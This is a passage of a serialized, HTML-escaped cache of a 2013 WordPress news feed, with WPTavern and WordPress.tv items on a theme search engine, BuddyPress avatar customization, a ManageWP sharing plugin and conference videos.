href=\&quot;http://wordpress.org/extend/plugins/wordpress-importer/\&quot; target=\&quot;_blank\&quot;&gt;WordPress Importer&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Check out the &lt;a href=\&quot;http://wptest.io/demo/\&quot; target=\&quot;_blank\&quot;&gt;demo&lt;/a&gt; to see the full range of test data in action on a site.&lt;/p&gt;\n&lt;p&gt;The project is maintained on &lt;a href=\&quot;https://github.com/manovotny/wptest\&quot; target=\&quot;_blank\&quot;&gt;github&lt;/a&gt; if you want to follow the repository or contribute. Novotny emphasizes that WP Test is by no means a fully comprehensive set of test data and will always be evolving to provide more test scenarios. If you think &lt;a href=\&quot;http://wptest.io/\&quot; target=\&quot;_blank\&quot;&gt;WP Test&lt;/a&gt; is missing some important tests, please get in touch via the &lt;a href=\&quot;http://wptest.io/contact/\&quot; target=\&quot;_blank\&quot;&gt;contact form&lt;/a&gt;.&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/g9jU9IlaVu8\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 01 Nov 2013 21:12:59 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;Sarah Gooding\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:7;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:68:\&quot;WPTavern: WordPress By Example: A Search Engine for WordPress Themes\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10838\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:117:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/fATG7A3BVd4/wordpress-by-example-a-wordpress-specific-search-engine\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:3563:\&quot;&lt;p&gt;&lt;a href=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/11/WPByExampleLogo.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/11/WPByExampleLogo.jpg?resize=230%2C44\&quot; alt=\&quot;WordPress By Example Logo\&quot; class=\&quot;alignright size-full wp-image-10839\&quot; /&gt;&lt;/a&gt;A few days ago, we &lt;a href=\&quot;http://www.wptavern.com/how-to-find-live-examples-of-sites-using-a-theme\&quot; title=\&quot;http://www.wptavern.com/how-to-find-live-examples-of-sites-using-a-theme\&quot;&gt;mentioned an article by WPShout.com&lt;/a&gt; that explained how to find live examples of WordPress powered sites using themes. Today, I wanted to share a new site that&amp;#8217;s been launched called &lt;a href=\&quot;http://www.wpbyexample.com/\&quot; title=\&quot;http://www.wpbyexample.com/\&quot;&gt;WordPress by Example&lt;/a&gt;. It&amp;#8217;s a WordPress specific search engine designed to showcase sites using themes related to search terms such as photography, or weddings. &lt;span id=\&quot;more-10838\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;Developed by Joris Van den Bogaert, WordPress by Example has three different ways you can search. &lt;em&gt;Organic, Premium WordPress Themes, and Free WordPress Themes&lt;/em&gt;. Just like any other search engine, this one works via keywords. In this example, I used the keyword of &lt;strong&gt;weddings&lt;/strong&gt; with the organic search option. &lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/11/WPByExampleOrganicSearchResults.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/11/WPByExampleOrganicSearchResults.jpg?resize=500%2C376\&quot; alt=\&quot;Organic Search Results From WP By Example\&quot; class=\&quot;aligncenter size-large wp-image-10840\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;While some of the results were relevant, displaying modified themes catering to weddings, other results were not as relevant. When you click on any of the results, a larger image is displayed with a link at the bottom that takes you to a page with more information about that result. The additional information shown includes what theme is being used on the site, information about the site, and the source of the theme. Within the right sidebar, there are buttons to buy the theme, visit the actual website, or view a demo of the theme in use on the site. As you might have guessed, the buy button is an affiliate link. &lt;/p&gt;\n&lt;h3&gt;A Nice Alternative To The Typical WordPress Theme Search Engine&lt;/h3&gt;\n&lt;p&gt;There are now hundreds of themes that are released for WordPress everyday. Most have a price tag while others are free. With all of the various WordPress themes available in so many different places, a cottage industry has developed trying to organize and index all of them. Examples include &lt;a href=\&quot;http://qualithemes.com/\&quot; title=\&quot;http://qualithemes.com/\&quot;&gt;QualiThemes&lt;/a&gt;, &lt;a href=\&quot;http://themesorter.com/\&quot; title=\&quot;http://themesorter.com/\&quot;&gt;ThemeSorter&lt;/a&gt;, and &lt;a href=\&quot;http://yellowthemes.com/\&quot; title=\&quot;http://yellowthemes.com/\&quot;&gt;Yellow Themes&lt;/a&gt;. None of these theme finders show sites actually using the theme. &lt;/p&gt;\n&lt;p&gt;While I like the idea behind WordPress by Example, I couldn&amp;#8217;t help but notice the number of websites that were butchered beyond recognition. This is why I think it&amp;#8217;s better for a theme company to put together site showcases that really show off what the theme is capable of. If nothing else, this search engine shows why good web designers are still needed. Apparently, there are not enough to go around. &lt;/p&gt;\n&lt;p&gt;Give the site a try and tell me your thoughts in the comments. &lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/fATG7A3BVd4\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 01 Nov 2013 18:00:44 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;Jeffro\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:8;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:72:\&quot;WordPress.tv: Judy Wilson: Security With WordPress.org Self-Installation\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:28:\&quot;http://wordpress.tv/?p=24553\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:89:\&quot;http://wordpress.tv/2013/11/01/judy-wilson-security-with-wordpress-org-self-installation/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:693:\&quot;&lt;div id=\&quot;v-N98qh0qC-1\&quot; class=\&quot;video-player\&quot;&gt;\n&lt;/div&gt;&lt;br /&gt;  &lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/24553/\&quot;&gt;&lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/24553/\&quot; /&gt;&lt;/a&gt; &lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://stats.wordpress.com/b.gif?host=wordpress.tv&amp;blog=5089392&amp;post=24553&amp;subd=wptv&amp;ref=&amp;feed=1\&quot; width=\&quot;1\&quot; height=\&quot;1\&quot; /&gt;&lt;div&gt;&lt;a href=\&quot;http://wordpress.tv/2013/11/01/judy-wilson-security-with-wordpress-org-self-installation/\&quot;&gt;&lt;img alt=\&quot;Judy Wilson: Security With WordPress.org Self-Installation\&quot; src=\&quot;http://videos.videopress.com/N98qh0qC/video-6d2e551714_std.original.jpg\&quot; width=\&quot;160\&quot; height=\&quot;120\&quot; /&gt;&lt;/a&gt;&lt;/div&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 01 Nov 2013 11:35:10 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;WordPress.tv\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:9;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:59:\&quot;WordPress.tv: Panel Discussion: Themes And Theme Frameworks\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:28:\&quot;http://wordpress.tv/?p=24560\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:76:\&quot;http://wordpress.tv/2013/11/01/panel-discussion-themes-and-theme-frameworks/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:667:\&quot;&lt;div id=\&quot;v-hNA5N7pb-1\&quot; class=\&quot;video-player\&quot;&gt;\n&lt;/div&gt;&lt;br /&gt;  &lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/24560/\&quot;&gt;&lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/24560/\&quot; /&gt;&lt;/a&gt; &lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://stats.wordpress.com/b.gif?host=wordpress.tv&amp;blog=5089392&amp;post=24560&amp;subd=wptv&amp;ref=&amp;feed=1\&quot; width=\&quot;1\&quot; height=\&quot;1\&quot; /&gt;&lt;div&gt;&lt;a href=\&quot;http://wordpress.tv/2013/11/01/panel-discussion-themes-and-theme-frameworks/\&quot;&gt;&lt;img alt=\&quot;Panel Discussion: Themes And Theme Frameworks\&quot; src=\&quot;http://videos.videopress.com/hNA5N7pb/video-834135521e_std.original.jpg\&quot; width=\&quot;160\&quot; height=\&quot;120\&quot; /&gt;&lt;/a&gt;&lt;/div&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 01 Nov 2013 10:16:44 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;WordPress.tv\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:10;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:51:\&quot;WPTavern: Learn How to Customize BuddyPress Avatars\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10822\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:103:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/TIEqkhz6NtQ/learn-how-to-customize-buddypress-avatars\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2678:\&quot;&lt;p&gt;&lt;a href=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/bp-circles.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/bp-circles.jpg?resize=300%2C254\&quot; alt=\&quot;bp-circles\&quot; class=\&quot;alignright size-medium wp-image-10825\&quot; /&gt;&lt;/a&gt;BuddyPress 1.9 is right around the corner and should be released in early November. The initiative to improve the BuddyPress codex has inspired a number of new pages and tutorials. Documentation leaders &lt;a href=\&quot;https://twitter.com/hnla\&quot; target=\&quot;_blank\&quot;&gt;@hnla&lt;/a&gt; and &lt;a href=\&quot;https://twitter.com/mercime_one\&quot; target=\&quot;_blank\&quot;&gt;@mercime&lt;/a&gt; have restructured the codex so that pages are not so deeply nested. They&amp;#8217;ve also been organizing the addition of new articles and tutorials. &lt;/p&gt;\n&lt;p&gt;I decided to jump in and submit a guide on how to customize BuddyPress avatars.&lt;span id=\&quot;more-10822\&quot;&gt;&lt;/span&gt; I wasn&amp;#8217;t a very experienced codex contributor, but the BuddyPress folks make it very easy. They will help you to find an area where you can contribute.&lt;/p&gt;\n&lt;p&gt;In the guide to &lt;a href=\&quot;http://codex.buddypress.org/getting-started/guides/customizing-buddypress-avatars/\&quot; title=\&quot;How to Customize BuddyPress Avatars\&quot; target=\&quot;_blank\&quot;&gt;Customizing BuddyPress Avatars&lt;/a&gt; you will learn how to:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Understand the Default BuddyPress Avatar Sizes&lt;/li&gt;\n&lt;li&gt;Change BuddyPress Avatar Sizes Using bp-custom.php&lt;/li&gt;\n&lt;li&gt;Change the Default BuddyPress Avatar (Mystery Man)&lt;/li&gt;\n&lt;li&gt;Customize BuddyPress Avatars With CSS&lt;/li&gt;\n&lt;li&gt;Create Circular BuddyPress Avatars&lt;/li&gt;\n&lt;li&gt;Adjust the Crop Pane Window for Circular Avatars&lt;/li&gt;\n&lt;li&gt;Disable BuddyPress Avatar Upload&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Check it out and let me know if there&amp;#8217;s anything else you&amp;#8217;d like to see in the BuddyPress avatar tutorials. &lt;/p&gt;\n&lt;h3&gt;Get Involved in BuddyPress Documentation&lt;/h3&gt;\n&lt;p&gt;Lots of new guides and tutorials are popping up in the codex. Better documentation benefits everyone involved in BuddyPress. It helps to lessen the support load and also provides valuable information for those who want to extend the platform. If you want to help contribute, check out the &lt;a href=\&quot;http://codex.buddypress.org/participate-and-contribute/codex-standards-guidelines/\&quot; target=\&quot;_blank\&quot;&gt;Codex Standards &amp;#038; Guidelines&lt;/a&gt; for BuddyPress. &lt;a href=\&quot;https://docs.google.com/spreadsheet/ccc?key=tOT3Q1oFPiTC-c1MDp1ZtRw#gid=0\&quot; target=\&quot;_blank\&quot;&gt;Find an article to write&lt;/a&gt; and get in touch on the &lt;a href=\&quot;http://bpdevel.wordpress.com/2013/10/11/codex-progress-update-toc-re-visited/\&quot; target=\&quot;_blank\&quot;&gt;BuddyPress Development blog&lt;/a&gt;.&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/TIEqkhz6NtQ\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 01 Nov 2013 04:10:27 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;Sarah Gooding\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:11;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:64:\&quot;WPTavern: New Plugin Adds ManageWP.org Sharing Button to Jetpack\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10784\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:116:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/HfR9QVbv4TY/new-plugin-adds-managewp-org-sharing-button-to-jetpack\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1694:\&quot;&lt;p&gt;Looking for a quick and convenient way to add the &lt;a href=\&quot;http://managewp.org/resources\&quot; target=\&quot;_blank\&quot;&gt;ManageWP.org button&lt;/a&gt; to your WordPress site? If you&amp;#8217;re using the Jetpack sharing module, the new &lt;a href=\&quot;http://wordpress.org/plugins/mwp-sharing-jetpack/\&quot; target=\&quot;_blank\&quot;&gt;ManageWP.org Sharing For Jetpack&lt;/a&gt; plugin will automatically add it for you.&lt;/p&gt;\n&lt;p&gt;Plugin developer &lt;a href=\&quot;http://jeremyherve.com/\&quot; target=\&quot;_blank\&quot;&gt;Jeremy Herve&lt;/a&gt; was inspired by Jeff&amp;#8217;s recent &lt;a href=\&quot;http://www.wptavern.com/how-to-add-a-managewp-button-to-jetpack-sharing\&quot; target=\&quot;_blank\&quot;&gt;tutorial&lt;/a&gt;, which includes a walkthrough on the steps to adding the button as a new service. His plugin does all the work for you so that the only thing you have to do is drag the button to the enabled services area.&lt;span id=\&quot;more-10784\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/managewp-button.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/managewp-button.jpg?resize=410%2C41\&quot; alt=\&quot;managewp-button\&quot; class=\&quot;aligncenter size-full wp-image-10813\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;You don&amp;#8217;t need to be a major WordPress news site to add this button. If you publish articles with any kind of WordPress content, including tutorials, products, reviews, news, etc, then adding this button will put your content in front of more readers. You can now install the &lt;a href=\&quot;http://wordpress.org/plugins/mwp-sharing-jetpack/\&quot; target=\&quot;_blank\&quot;&gt;ManageWP.org Sharing For Jetpack&lt;/a&gt; plugin via the plugins screen within your dashboard.&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/HfR9QVbv4TY\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 01 Nov 2013 01:21:32 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;Sarah Gooding\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:12;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:65:\&quot;WPTavern: 12+ WordPress Multisite Enhancements in One Free 